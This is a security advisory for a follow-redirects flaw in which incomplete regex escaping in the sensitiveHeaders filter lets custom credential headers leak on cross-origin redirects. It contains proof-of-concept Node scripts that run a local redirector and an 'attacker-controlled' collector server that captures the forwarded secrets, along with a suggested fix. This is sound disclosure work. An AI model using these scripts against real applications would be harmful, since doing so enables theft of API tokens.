GHSA-8R9P-F939-6H3C

Vulnerability from github – Published: 2026-10-20 17:53 – Updated: 2026-10-20 17:53
VLAI
Summary
follow-redirects sensitiveHeaders regex escaping can expose credential headers
Details

Summary

follow-redirects 1.16.0 introduced the sensitiveHeaders option (the fix for CVE-2026-40895 / GHSA-r4q5-vmmm-2653), which lets an application declare extra header names that must be removed when a redirect crosses to a different host or downgrades protocol. The filter is a single case-insensitive regular expression built by concatenating the declared header names into an alternation after passing each through escapeRegex. escapeRegex escapes only a partial set of metacharacters and leaves ^, |, [, {, and } unescaped. Header names may legitimately contain ^ and | (both are valid RFC 9110 token characters that Node accepts and sends), and for a declared name containing either, the generated pattern can never match the intended header. As a result, an application that adopts this option to protect a custom credential header, then follows an attacker-controlled cross-origin redirect, forwards that credential to the attacker with no error or warning, while believing it is protected. The failure is silent: the protection simply does not exist for the affected names. The built-in list (Authorization, Proxy-Authorization, Cookie) contains no metacharacters and is not affected by this defect.

Details

The filter is constructed once, in the RedirectableRequest constructor at index.js:118-120:

this._headerFilter = new RegExp("^(?:" +
    sensitiveHeaders.concat(options.sensitiveHeaders).map(escapeRegex).join("|") +
  ")$", "i");

escapeRegex at index.js:703-705:

function escapeRegex(regex) {
  return regex.replace(/[\]\\/()*+?.$]/g, "\\$&");   // escapes ] \ / ( ) * + ? . $  -- NOT ^ | [ { }
}

The character class escapes ], \, /, (, ), *, +, ?, ., and $. It omits ^, |, [, {, and }. Of these, Node's http.ClientRequest accepts ^ and | in header names (they are valid tchar values under RFC 9110) and rejects [, {, } with ERR_INVALID_HTTP_TOKEN, so ^ and | are the reachable vectors for a silent credential leak. Separately, although [, {, } cannot appear as live header names, declaring a sensitiveHeaders entry that contains one of them injects an unbalanced token into the alternation (for example an unterminated character class), so the filter RegExp throws a SyntaxError in the RedirectableRequest constructor and the request fails to start. That case is a loud request-time crash from the same incomplete-escaping root cause rather than a silent bypass, and the canonical escaper below fixes it as well.

For a declared sensitive header name containing an unescaped metacharacter, the alternation is broken in a fail-open way:

  • A name containing ^, for example X-Api^Key, yields the alternative X-Api^Key inside the pattern. The ^ becomes a mid-pattern start-of-string anchor, so the alternative can never match any real header name. test("X-Api^Key") returns false, and the header is not stripped.
  • A name containing |, for example X-Token|Secret, is split into two separate alternatives X-Token and Secret. The real header X-Token|Secret is never matched (not stripped), while unrelated headers literally named X-Token or Secret would be stripped instead.

The generated filter source, reproduced from the exact library logic, is:

^(?:Authorization|Proxy-Authorization|Cookie|X-Api^Key|X-Token|Secret|X-Control-Key)$

Direct matching results against this filter: X-Api^Key -> false, X-Token|Secret -> false, X-Control-Key (normal name) -> true, and the split-off X-Token -> true and Secret -> true (collateral wrong-stripping). The built-ins Authorization, Proxy-Authorization, Cookie all -> true.

Secondary, related weakness (filter snapshot not refreshed after beforeRedirect): the filter is built once at construction and applied at index.js:490, which runs before the beforeRedirect(this._options, ...) hook and the subsequent _sanitizeOptions at index.js:494-506. Because the strip happens before the hook and this._headerFilter is never rebuilt, any entry a caller adds to options.sensitiveHeaders inside beforeRedirect is silently ignored. This facet is lower severity: mutating sensitiveHeaders inside beforeRedirect is not a documented usage of the option (the documented path is the request option), so it is best treated as a hardening item bundled with the escaping fix rather than an independent control bypass. It is included here because both issues undermine the same control and share a remediation.

Suggested remediation: two changes close both facets.

  1. Escape the complete set of regular-expression metacharacters:
function escapeRegex(str) { return str.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); }

This was verified to restore correct matching for all affected names while preserving the built-in matches.

  1. Build the filter at strip time, or rebuild it after the beforeRedirect hook re-sanitizes options, so entries added inside the hook take effect. For example, replace the cached this._headerFilter with a this._getHeaderFilter() that constructs the RegExp from the current this._options.sensitiveHeaders on each redirect.

Additionally, since header names have a strict grammar, consider validating each entry of options.sensitiveHeaders against the RFC 9110 token character set and throwing an explicit error on invalid names, so misconfiguration fails loudly. Add a unit test asserting that every declared name is actually matched by the generated filter; the current suite only exercises metacharacter-free names (Sensitive-A, x-sensitive-b), which is why the defect passes CI.

References: - https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653 - https://github.com/follow-redirects/follow-redirects/pull/284 - https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9

PoC

Environment: Node.js v24.18.0 on Windows 11. Run each script from a checkout of follow-redirects at 1.16.0 so that require("./index.js") resolves to the library under test.

Facet 1, metacharacter header names, leak.js:

var followRedirects = require("./index.js");
var http = require("http");
var redirector = http.createServer(function (req, res) {
  req.resume();
  res.writeHead(302, { Location: "http://127.0.0.1:45902/" });   // cross-origin (different port)
  res.end();
});
var collector = http.createServer(function (req, res) {
  res.end(JSON.stringify(req.headers));                          // attacker-controlled target
});
redirector.listen(45901, "127.0.0.1", function () {
  collector.listen(45902, "127.0.0.1", function () {
    followRedirects.http.request({
      hostname: "127.0.0.1", port: 45901, path: "/",
      headers: {
        "X-Api^Key":      "SECRET-LEAKED-1",     // declared sensitive, name contains ^
        "X-Token|Secret": "SECRET-LEAKED-2",     // declared sensitive, name contains |
        "X-Control-Key":  "SHOULD-BE-STRIPPED",  // declared sensitive, normal name (control)
        "Authorization":  "Bearer BUILTIN-CTL"   // built-in list (control)
      },
      sensitiveHeaders: ["X-Api^Key", "X-Token|Secret", "X-Control-Key"]
    }, function (res) {
      var body = ""; res.on("data", function (c) { body += c; });
      res.on("end", function () {
        var h = JSON.parse(body);
        console.log("X-Api^Key      :", h["x-api^key"] || "(stripped)");
        console.log("X-Token|Secret :", h["x-token|secret"] || "(stripped)");
        console.log("X-Control-Key  :", h["x-control-key"] || "(stripped - OK)");
        console.log("Authorization  :", h["authorization"] || "(stripped - OK)");
        redirector.close(); collector.close();
      });
    }).end();
  });
});

Observed output (1.16.0):

X-Api^Key      : SECRET-LEAKED-1          <- credential LEAKED to redirect target
X-Token|Secret : SECRET-LEAKED-2          <- credential LEAKED to redirect target
X-Control-Key  : (stripped - OK)          <- control: option works for normal names
Authorization  : (stripped - OK)          <- control: built-in list works

The two controls stripping correctly in the same run prove the strip branch executed and only the metacharacter names defeat the filter.

Root-cause and fix verification (pure regex logic, no network):

var builtin = ["Authorization", "Proxy-Authorization", "Cookie"];
function escCurrent(s) { return s.replace(/[\]\\/()*+?.$]/g, "\\$&"); }         // library's escaper
function escFixed(s)   { return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); }      // canonical escaper
function build(esc, d) { return new RegExp("^(?:" + builtin.concat(d).map(esc).join("|") + ")$", "i"); }
var declared = ["X-Api^Key", "X-Token|Secret", "X-Control-Key"];
var cur = build(escCurrent, declared), fix = build(escFixed, declared);
["X-Api^Key","X-Token|Secret"].forEach(n => console.log("current", n, cur.test(n)));  // both false
["X-Api^Key","X-Token|Secret"].forEach(n => console.log("fixed  ", n, fix.test(n)));  // both true
["X-Token","Secret"].forEach(n => console.log("collateral", n, cur.test(n)));         // both true (wrong)

Observed: current filter returns false for both metacharacter names and true for the unrelated X-Token and Secret; the fixed filter returns true for all declared names and still true for the built-ins.

Reachability of the vectors:

node -e 'var http=require("http");["X-A^B","X-A|B","X-A[B","X-A{B","X-A}B"].forEach(function(n){try{var r=http.request({host:"127.0.0.1",port:1});r.setHeader(n,"v");r.destroy();console.log(n,"ACCEPTED");}catch(e){console.log(n,"REJECTED",e.code);}});'

Observed: X-A^B and X-A|B ACCEPTED; X-A[B, X-A{B, X-A}B REJECTED with ERR_INVALID_HTTP_TOKEN.

Facet 2, entry declared inside beforeRedirect, leak2.js:

var followRedirects = require("./index.js");
var http = require("http");
var redirector = http.createServer(function (req, res) {
  res.writeHead(302, { Location: "http://127.0.0.1:46202/" }); res.end();
});
var collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });
redirector.listen(46201, "127.0.0.1", function () {
  collector.listen(46202, "127.0.0.1", function () {
    followRedirects.http.request({
      hostname: "127.0.0.1", port: 46201, path: "/",
      headers: { "X-Late": "LATE-DECLARED-VALUE" },
      beforeRedirect: function (options) { options.sensitiveHeaders.push("X-Late"); }
    }, function (res) {
      var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () {
        console.log("X-Late forwarded to redirect target:", JSON.parse(body)["x-late"] || "(stripped)");
        redirector.close(); collector.close();
      });
    }).end();
  });
});

Observed output (1.16.0): X-Late forwarded to redirect target: LATE-DECLARED-VALUE (the late-declared name is not stripped).

Impact

This is an information-disclosure vulnerability: silent failure of the sensitiveHeaders cross-origin stripping control for affected header names. Who is impacted: any application, or upstream library, that adopts the sensitiveHeaders option to protect a custom credential-bearing header whose name contains ^ or |, and that follows a redirect controlled or compromised by an attacker. When triggered, the declared header value (typically an API token or other bearer credential) is disclosed to the attacker-controlled destination, silently, while the application believes the header is protected. As with the array-form finding, if the redirect downgrades HTTPS to HTTP, the credential also transits in cleartext. Downstream exposure extends beyond the library: any application or wrapper that adopts the sensitiveHeaders option and declares a metacharacter-bearing header name inherits the same silent bypass. axios delegates redirect handling to follow-redirects (see GHSA-r4q5-vmmm-2653), so axios-based stacks are affected wherever this option reaches the library. The built-in protected headers are unaffected.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "follow-redirects"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.16.0"
            },
            {
              "fixed": "1.16.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-111755"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-185",
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-20T17:53:05Z",
    "nvd_published_at": "2026-10-19T18:17:00Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nfollow-redirects 1.16.0 introduced the `sensitiveHeaders` option (the fix for CVE-2026-40895 / GHSA-r4q5-vmmm-2653), which lets an application declare extra header names that must be removed when a redirect crosses to a different host or downgrades protocol. The filter is a single case-insensitive regular expression built by concatenating the declared header names into an alternation after passing each through `escapeRegex`. `escapeRegex` escapes only a partial set of metacharacters and leaves `^`, `|`, `[`, `{`, and `}` unescaped. Header names may legitimately contain `^` and `|` (both are valid RFC 9110 token characters that Node accepts and sends), and for a declared name containing either, the generated pattern can never match the intended header. As a result, an application that adopts this option to protect a custom credential header, then follows an attacker-controlled cross-origin redirect, forwards that credential to the attacker with no error or warning, while believing it is protected. The failure is silent: the protection simply does not exist for the affected names. The built-in list (Authorization, Proxy-Authorization, Cookie) contains no metacharacters and is not affected by this defect.\n\n### Details\nThe filter is constructed once, in the `RedirectableRequest` constructor at `index.js:118-120`:\n\n```js\nthis._headerFilter = new RegExp(\"^(?:\" +\n    sensitiveHeaders.concat(options.sensitiveHeaders).map(escapeRegex).join(\"|\") +\n  \")$\", \"i\");\n```\n\n`escapeRegex` at `index.js:703-705`:\n\n```js\nfunction escapeRegex(regex) {\n  return regex.replace(/[\\]\\\\/()*+?.$]/g, \"\\\\$\u0026\");   // escapes ] \\ / ( ) * + ? . $  -- NOT ^ | [ { }\n}\n```\n\nThe character class escapes `]`, `\\`, `/`, `(`, `)`, `*`, `+`, `?`, `.`, and `$`. It omits `^`, `|`, `[`, `{`, and `}`. Of these, Node\u0027s `http.ClientRequest` accepts `^` and `|` in header names (they are valid `tchar` values under RFC 9110) and rejects `[`, `{`, `}` with `ERR_INVALID_HTTP_TOKEN`, so `^` and `|` are the reachable vectors for a silent credential leak. Separately, although `[`, `{`, `}` cannot appear as live header names, declaring a `sensitiveHeaders` entry that contains one of them injects an unbalanced token into the alternation (for example an unterminated character class), so the filter `RegExp` throws a `SyntaxError` in the `RedirectableRequest` constructor and the request fails to start. That case is a loud request-time crash from the same incomplete-escaping root cause rather than a silent bypass, and the canonical escaper below fixes it as well.\n\nFor a declared sensitive header name containing an unescaped metacharacter, the alternation is broken in a fail-open way:\n\n- A name containing `^`, for example `X-Api^Key`, yields the alternative `X-Api^Key` inside the pattern. The `^` becomes a mid-pattern start-of-string anchor, so the alternative can never match any real header name. `test(\"X-Api^Key\")` returns `false`, and the header is not stripped.\n- A name containing `|`, for example `X-Token|Secret`, is split into two separate alternatives `X-Token` and `Secret`. The real header `X-Token|Secret` is never matched (not stripped), while unrelated headers literally named `X-Token` or `Secret` would be stripped instead.\n\nThe generated filter source, reproduced from the exact library logic, is:\n```\n^(?:Authorization|Proxy-Authorization|Cookie|X-Api^Key|X-Token|Secret|X-Control-Key)$\n```\nDirect matching results against this filter: `X-Api^Key` -\u003e false, `X-Token|Secret` -\u003e false, `X-Control-Key` (normal name) -\u003e true, and the split-off `X-Token` -\u003e true and `Secret` -\u003e true (collateral wrong-stripping). The built-ins Authorization, Proxy-Authorization, Cookie all -\u003e true.\n\nSecondary, related weakness (filter snapshot not refreshed after `beforeRedirect`): the filter is built once at construction and applied at `index.js:490`, which runs before the `beforeRedirect(this._options, ...)` hook and the subsequent `_sanitizeOptions` at `index.js:494-506`. Because the strip happens before the hook and `this._headerFilter` is never rebuilt, any entry a caller adds to `options.sensitiveHeaders` inside `beforeRedirect` is silently ignored. This facet is lower severity: mutating `sensitiveHeaders` inside `beforeRedirect` is not a documented usage of the option (the documented path is the request option), so it is best treated as a hardening item bundled with the escaping fix rather than an independent control bypass. It is included here because both issues undermine the same control and share a remediation.\n\nSuggested remediation: two changes close both facets.\n\n1. Escape the complete set of regular-expression metacharacters:\n```js\nfunction escapeRegex(str) { return str.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$\u0026\"); }\n```\nThis was verified to restore correct matching for all affected names while preserving the built-in matches.\n\n2. Build the filter at strip time, or rebuild it after the `beforeRedirect` hook re-sanitizes options, so entries added inside the hook take effect. For example, replace the cached `this._headerFilter` with a `this._getHeaderFilter()` that constructs the RegExp from the current `this._options.sensitiveHeaders` on each redirect.\n\nAdditionally, since header names have a strict grammar, consider validating each entry of `options.sensitiveHeaders` against the RFC 9110 token character set and throwing an explicit error on invalid names, so misconfiguration fails loudly. Add a unit test asserting that every declared name is actually matched by the generated filter; the current suite only exercises metacharacter-free names (`Sensitive-A`, `x-sensitive-b`), which is why the defect passes CI.\n\nReferences:\n- https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653\n- https://github.com/follow-redirects/follow-redirects/pull/284\n- https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9\n\n### PoC\nEnvironment: Node.js v24.18.0 on Windows 11. Run each script from a checkout of follow-redirects at 1.16.0 so that `require(\"./index.js\")` resolves to the library under test.\n\nFacet 1, metacharacter header names, `leak.js`:\n```js\nvar followRedirects = require(\"./index.js\");\nvar http = require(\"http\");\nvar redirector = http.createServer(function (req, res) {\n  req.resume();\n  res.writeHead(302, { Location: \"http://127.0.0.1:45902/\" });   // cross-origin (different port)\n  res.end();\n});\nvar collector = http.createServer(function (req, res) {\n  res.end(JSON.stringify(req.headers));                          // attacker-controlled target\n});\nredirector.listen(45901, \"127.0.0.1\", function () {\n  collector.listen(45902, \"127.0.0.1\", function () {\n    followRedirects.http.request({\n      hostname: \"127.0.0.1\", port: 45901, path: \"/\",\n      headers: {\n        \"X-Api^Key\":      \"SECRET-LEAKED-1\",     // declared sensitive, name contains ^\n        \"X-Token|Secret\": \"SECRET-LEAKED-2\",     // declared sensitive, name contains |\n        \"X-Control-Key\":  \"SHOULD-BE-STRIPPED\",  // declared sensitive, normal name (control)\n        \"Authorization\":  \"Bearer BUILTIN-CTL\"   // built-in list (control)\n      },\n      sensitiveHeaders: [\"X-Api^Key\", \"X-Token|Secret\", \"X-Control-Key\"]\n    }, function (res) {\n      var body = \"\"; res.on(\"data\", function (c) { body += c; });\n      res.on(\"end\", function () {\n        var h = JSON.parse(body);\n        console.log(\"X-Api^Key      :\", h[\"x-api^key\"] || \"(stripped)\");\n        console.log(\"X-Token|Secret :\", h[\"x-token|secret\"] || \"(stripped)\");\n        console.log(\"X-Control-Key  :\", h[\"x-control-key\"] || \"(stripped - OK)\");\n        console.log(\"Authorization  :\", h[\"authorization\"] || \"(stripped - OK)\");\n        redirector.close(); collector.close();\n      });\n    }).end();\n  });\n});\n```\nObserved output (1.16.0):\n```\nX-Api^Key      : SECRET-LEAKED-1          \u003c- credential LEAKED to redirect target\nX-Token|Secret : SECRET-LEAKED-2          \u003c- credential LEAKED to redirect target\nX-Control-Key  : (stripped - OK)          \u003c- control: option works for normal names\nAuthorization  : (stripped - OK)          \u003c- control: built-in list works\n```\nThe two controls stripping correctly in the same run prove the strip branch executed and only the metacharacter names defeat the filter.\n\nRoot-cause and fix verification (pure regex logic, no network):\n```js\nvar builtin = [\"Authorization\", \"Proxy-Authorization\", \"Cookie\"];\nfunction escCurrent(s) { return s.replace(/[\\]\\\\/()*+?.$]/g, \"\\\\$\u0026\"); }         // library\u0027s escaper\nfunction escFixed(s)   { return s.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$\u0026\"); }      // canonical escaper\nfunction build(esc, d) { return new RegExp(\"^(?:\" + builtin.concat(d).map(esc).join(\"|\") + \")$\", \"i\"); }\nvar declared = [\"X-Api^Key\", \"X-Token|Secret\", \"X-Control-Key\"];\nvar cur = build(escCurrent, declared), fix = build(escFixed, declared);\n[\"X-Api^Key\",\"X-Token|Secret\"].forEach(n =\u003e console.log(\"current\", n, cur.test(n)));  // both false\n[\"X-Api^Key\",\"X-Token|Secret\"].forEach(n =\u003e console.log(\"fixed  \", n, fix.test(n)));  // both true\n[\"X-Token\",\"Secret\"].forEach(n =\u003e console.log(\"collateral\", n, cur.test(n)));         // both true (wrong)\n```\nObserved: current filter returns false for both metacharacter names and true for the unrelated `X-Token` and `Secret`; the fixed filter returns true for all declared names and still true for the built-ins.\n\nReachability of the vectors:\n```\nnode -e \u0027var http=require(\"http\");[\"X-A^B\",\"X-A|B\",\"X-A[B\",\"X-A{B\",\"X-A}B\"].forEach(function(n){try{var r=http.request({host:\"127.0.0.1\",port:1});r.setHeader(n,\"v\");r.destroy();console.log(n,\"ACCEPTED\");}catch(e){console.log(n,\"REJECTED\",e.code);}});\u0027\n```\nObserved: `X-A^B` and `X-A|B` ACCEPTED; `X-A[B`, `X-A{B`, `X-A}B` REJECTED with `ERR_INVALID_HTTP_TOKEN`.\n\nFacet 2, entry declared inside `beforeRedirect`, `leak2.js`:\n```js\nvar followRedirects = require(\"./index.js\");\nvar http = require(\"http\");\nvar redirector = http.createServer(function (req, res) {\n  res.writeHead(302, { Location: \"http://127.0.0.1:46202/\" }); res.end();\n});\nvar collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });\nredirector.listen(46201, \"127.0.0.1\", function () {\n  collector.listen(46202, \"127.0.0.1\", function () {\n    followRedirects.http.request({\n      hostname: \"127.0.0.1\", port: 46201, path: \"/\",\n      headers: { \"X-Late\": \"LATE-DECLARED-VALUE\" },\n      beforeRedirect: function (options) { options.sensitiveHeaders.push(\"X-Late\"); }\n    }, function (res) {\n      var body = \"\"; res.on(\"data\", function (c) { body += c; }); res.on(\"end\", function () {\n        console.log(\"X-Late forwarded to redirect target:\", JSON.parse(body)[\"x-late\"] || \"(stripped)\");\n        redirector.close(); collector.close();\n      });\n    }).end();\n  });\n});\n```\nObserved output (1.16.0): `X-Late forwarded to redirect target: LATE-DECLARED-VALUE` (the late-declared name is not stripped).\n\n### Impact\nThis is an information-disclosure vulnerability: silent failure of the `sensitiveHeaders` cross-origin stripping control for affected header names. Who is impacted: any application, or upstream library, that adopts the `sensitiveHeaders` option to protect a custom credential-bearing header whose name contains `^` or `|`, and that follows a redirect controlled or compromised by an attacker. When triggered, the declared header value (typically an API token or other bearer credential) is disclosed to the attacker-controlled destination, silently, while the application believes the header is protected. As with the array-form finding, if the redirect downgrades HTTPS to HTTP, the credential also transits in cleartext. Downstream exposure extends beyond the library: any application or wrapper that adopts the `sensitiveHeaders` option and declares a metacharacter-bearing header name inherits the same silent bypass. axios delegates redirect handling to follow-redirects (see GHSA-r4q5-vmmm-2653), so axios-based stacks are affected wherever this option reaches the library. The built-in protected headers are unaffected.",
  "id": "GHSA-8r9p-f939-6h3c",
  "modified": "2026-10-20T17:53:05Z",
  "published": "2026-10-20T17:53:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-8r9p-f939-6h3c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-111755"
    },
    {
      "type": "WEB",
      "url": "https://github.com/follow-redirects/follow-redirects/commit/080a76d0e125b37bf81717368a61d5dc37aa56c8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/follow-redirects/follow-redirects"
    },
    {
      "type": "WEB",
      "url": "https://github.com/follow-redirects/follow-redirects/releases/tag/v1.16.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "follow-redirects sensitiveHeaders regex escaping can expose credential headers"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.